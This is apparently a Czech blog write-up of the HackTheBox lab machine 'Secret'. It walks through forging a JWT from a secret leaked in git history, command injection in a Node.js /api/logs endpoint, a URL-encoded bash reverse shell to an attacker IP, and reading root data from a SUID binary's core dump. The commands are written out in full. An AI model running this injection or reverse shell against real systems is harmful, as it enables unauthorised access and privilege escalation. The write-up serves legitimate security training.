tom@home.htb:~$

Blog o HTB

13 January 2021

Secret

Úvod a kontext

Secret nezačíná exploit skriptem, ale stažením Express aplikace a návratem v Git historii ke commitu, kde v repozitáři ještě zůstalo JWT tajemství. V tu chvíli přestane být API jen „web s loginem“ a ukáže se, že claim name přímo rozhoduje o tom, kdo smí sahat na citlivé endpointy. Tuhle kombinaci historického leaku a claim abuse rozebírám i v článcích Repozitář, historie konfigurace a deployment trust a JWT signing secret a claim abuse.

Webová část se pak láme v /api/logs, kde se shellový příkaz skládá z názvu souboru. Jakmile jde podvrhnout administrátorský token, z claimů a logovacího endpointu je shell jako dasith. Root část už s Node aplikací nesouvisí; rozhoduje SUID binárka, která pracuje s privilegovanými daty a zároveň po sobě nechává čitelný core dump.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji veřejně dostupné služby a ověřuji, jestli má stroj kromě webu i samostatné administrační rozhraní nebo alternativní aplikační port.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)

První pohled na web

Web na portech 80 a 3000 obsluhuje stejnou aplikaci DUMB Docs. Samotné rozhraní neobsahovalo přímý upload ani administraci, ale /docs zveřejňovalo ukázky práce s API včetně vzorového JWT tokenu. To je užitečné hned ze dvou důvodů:

Analýza zjištění

Stažení zdrojových kódů

Další důležitý krok byl endpoint se stažením zdrojových souborů:

http://10.10.11.120/download/files.zip

Po rozbalení archivu bylo vidět, že aplikace pracuje s proměnnou TOKEN_SECRET:

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

To samo o sobě ještě nestačí. Hodnota secret působí spíš jako vývojový placeholder a bylo potřeba ověřit, jestli v repozitáři nezůstala starší, skutečně používaná varianta.

Git historie a skutečný JWT secret

V archivu byl i .git, takže mělo smysl projít historii. Právě to bývá častý zdroj tajemství, která už z aktuální verze zmizela, ale v commitech zůstávají dál dostupná.

Historie odhalila starší .env, kde byl uložený dlouhý signing secret:

TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Jakmile je známý správný secret, lze si vytvořit vlastní JWT a změnit claim name na theadmin. To je důležité proto, že backend přístup k privilegovanému endpointu /api/logs odvozoval právě z této hodnoty.

Command injection v /api/logs

Zdrojový kód zároveň ukazoval, že endpoint /api/logs skládá shellový příkaz přímo z parametru file:

const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{

To je klasická command injection. Ověření bylo jednoduché:

curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;whoami"
"ab3e953 Added the codes\ndasith\n"

Praktickou roli curl jako přesného HTTP klienta pro hlavičky a parametrizované requesty rozebírám i v článku curl.

V tu chvíli už bylo jasné, že endpoint nespouští jen git log, ale libovolný příkaz v kontextu uživatele dasith.

Získání přístupu

Reverzní shell jako dasith

Po potvrzení injection dával smysl přejít z jednorázového HTTP command execution na stabilnější shell. Pro tento účel stačil standardní bash reverse shell předaný do stejného parametru file:

curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F4000%200%3E%261%27"

Tím vznikl shell jako dasith, ze kterého už šlo bezpečně ověřit uživatelský přístup:

cat user.txt
__CENSORED__

V této fázi už dává smysl přidat si vlastní SSH klíč do authorized_keys, protože HTTP injection je sice funkční, ale pro další práci zbytečně křehká.

Eskalace oprávnění

Analýza SUID programu count

Lokální enumerace ukázala binárku count, která běžela se SUID bitem. Samotný SUID program ještě automaticky neznamená privesc, takže bylo potřeba pochopit jeho chování. Zdrojový soubor /opt/code.c ukazoval dvě podstatné věci:

// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

Program sice shazoval efektivní UID, ale zároveň explicitně povoloval core dumpy. To je problém, protože proces stále může číst privilegovaný soubor a při pádu zanechat jeho obsah v dumpu dostupném neprivilegovanému uživateli.

Zneužití crash dumpu

Praktický postup byl přímočarý:

$ ./count
/root/root.txt
kill -BUS 1749

Po pádu vznikl crash soubor, který šlo rozbalit nástrojem apport-unpack:

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/
cd /tmp/crash/
strings CoreDump

V CoreDump se pak objevil obsah root.txt, protože program měl při pádu rootem čtená data stále v paměti.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - exploit - enumeration - privesc - hackthebox